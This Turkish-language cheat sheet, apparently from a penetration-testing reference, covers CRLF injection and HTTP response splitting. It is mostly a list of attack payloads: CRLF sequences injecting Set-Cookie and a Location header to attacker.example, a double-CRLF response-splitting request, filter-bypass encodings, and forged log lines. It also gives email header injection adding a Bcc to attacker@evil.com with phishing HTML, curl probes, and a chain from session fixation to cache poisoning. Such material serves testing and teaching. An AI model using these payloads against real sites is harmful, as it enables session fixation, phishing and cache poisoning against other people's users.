CRLF Injection & HTTP Response Splitting
OWASP A03 difficulty: orta
CRLF Injection, kullanıcı girdisinin bir HTTP başlığına veya log satırına \r\n (CRLF) karakterleriyle sızmasıdır. Yeni satır enjekte ederek ek başlıklar veya (klasik durumda) yeni bir yanıt gövdesi eklenebilir — buna HTTP Response Splitting denir.
Payload’lar
Section titled “Payload’lar”%0d%0a%0a%0d%0d%0aSet-Cookie:%20session=attacker%0d%0aLocation:%20https://attacker.example%0d%0aX-Injected:%20true# Çift CRLF → gövde başlangıcı (response splitting)%0d%0a%0d%0a<html># Filtre atlatma%0d%0a%00%0d%0a%0d%0a%20%0d%0a%09%250d%250a%25250d%25250a\r\n\n%E5%98%8A%E5%98%8D # tarihsel UTF-8 hileleriEtki senaryoları
Section titled “Etki senaryoları”-
Set-Cookie enjeksiyonu — session fixation veya attacker cookie yazdır:
/setlang?lang=en%0d%0aSet-Cookie:%20session=ATTACKER -
Location enjeksiyonu — açık yönlendirme / phishing:
/go?url=%0d%0aLocation:%20https://attacker.example -
Response splitting → XSS / cache poison — ikinci yanıtı önbelleğe yazdır; sonraki kullanıcılar zehirli HTML alır.
-
Log injection — sahte satırlar; log UI XSS veya SIEM kirliliği:
username=admin%0aINFO%20Forged%20login%20success -
Header smuggling kenarı — bazı proxy’lerde istek/yanıt sınırını bulandırır ( request smuggling ile karıştırma).
Nerede aranır
Section titled “Nerede aranır”□ Redirect parametreleri → Location□ Dil / tema / locale → Set-Cookie / custom header□ Download filename → Content-Disposition□ CORS yansıyan Origin / Access-Control-* (nadir CRLF)□ Proxy'nin eklediği X-Forwarded-*, X-Request-ID□ Link / Refresh başlıkları□ CSV export / e-posta başlıkları (CRLF mail injection)GET /redirect?url=%0d%0aSet-Cookie:%20x=1 HTTP/1.1Host: hedef
# Kötü yanıt örneği:# HTTP/1.1 302# Location:# Set-Cookie: x=1Response splitting (klasik)
Section titled “Response splitting (klasik)”GET /download?file=report%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a HTTP/1.1Host: hedefModern HTTP/1.1 sunucuları çoğu zaman bunu reddeder; yine de özel CGI / eski middleware’de denenir. Cache’li ortamda etki büyür.
Cookie / XSS zinciri
Section titled “Cookie / XSS zinciri”Set-Cookie enjekte → HttpOnly olmayan oturum çalma değil; fixation: saldırgan kendi session ID'sini kurbanın tarayıcısına yazar → kurban login olursa saldırgan aynı ID ile oturumu devralır
Content-Length / ikinci yanıt → reflected XSS benzeriE-posta başlık enjeksiyonu
Section titled “E-posta başlık enjeksiyonu”# İletişim formu "subject" / "from" alanlarısubject=Hello%0d%0aBcc:%20attacker@evil.com# veya%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>phishing</html>Filtre atlatma checklist
Section titled “Filtre atlatma checklist”[ ] %0d%0a / %0a / %0d ayrı ayrı[ ] Çift / üçlü URL encode[ ] Unicode satır ayırıcıları (U+2028 vb. — nadir)[ ] Başlık folding: %0d%0a%20value[ ] JSON string içinde \r\n → sunucu header'a basıyorsaTest komutları
Section titled “Test komutları”curl -sI "https://hedef/redir?u=%0d%0aSet-Cookie:%20crlf=1" | grep -i set-cookiecurl -sI "https://hedef/set?x=%0aX-Test:%20yes" | grep -i x-testSaldırı zinciri
Section titled “Saldırı zinciri”Yansıyan header sink bul (Location/Set-Cookie) → %0d%0aSet-Cookie / Location → fixation veya phishing PoC → cache varsa splitting ile stored etki